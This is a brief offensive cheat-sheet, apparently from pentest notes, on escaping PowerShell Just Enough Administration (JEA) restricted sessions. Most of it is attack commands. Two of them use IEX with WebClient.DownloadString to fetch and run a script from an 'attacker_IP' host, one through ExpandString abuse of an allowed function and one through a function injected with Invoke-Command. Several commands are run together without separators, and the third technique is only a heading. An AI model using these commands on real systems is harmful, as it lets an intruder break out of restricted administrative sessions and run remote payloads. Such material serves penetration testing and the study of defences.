Just Enough Administration (JEA) Escape
1) Abuse an allowed function
Get-Command(Get-Command <function>).Definitiongcm <function> -show$ExecutionContext.InvokeCommand.ExpandString($param)'$(powershell.exe -c "iEx (New-Object System.Net.WebClient).DownloadString(''http://attacker_IP/Invoke-HelloWorld.ps1'')")'2) Function Creation
Invoke-Command -Session $sess -ScriptBlock {function blackwasp {iex (new-object net.webclient).downloadstring('http://attacker_IP/Invoke-HelloWorld.ps1')}}
Invoke-Command -Session $sess -ScriptBlock {blackwasp}3) With another WinRM client
Last updated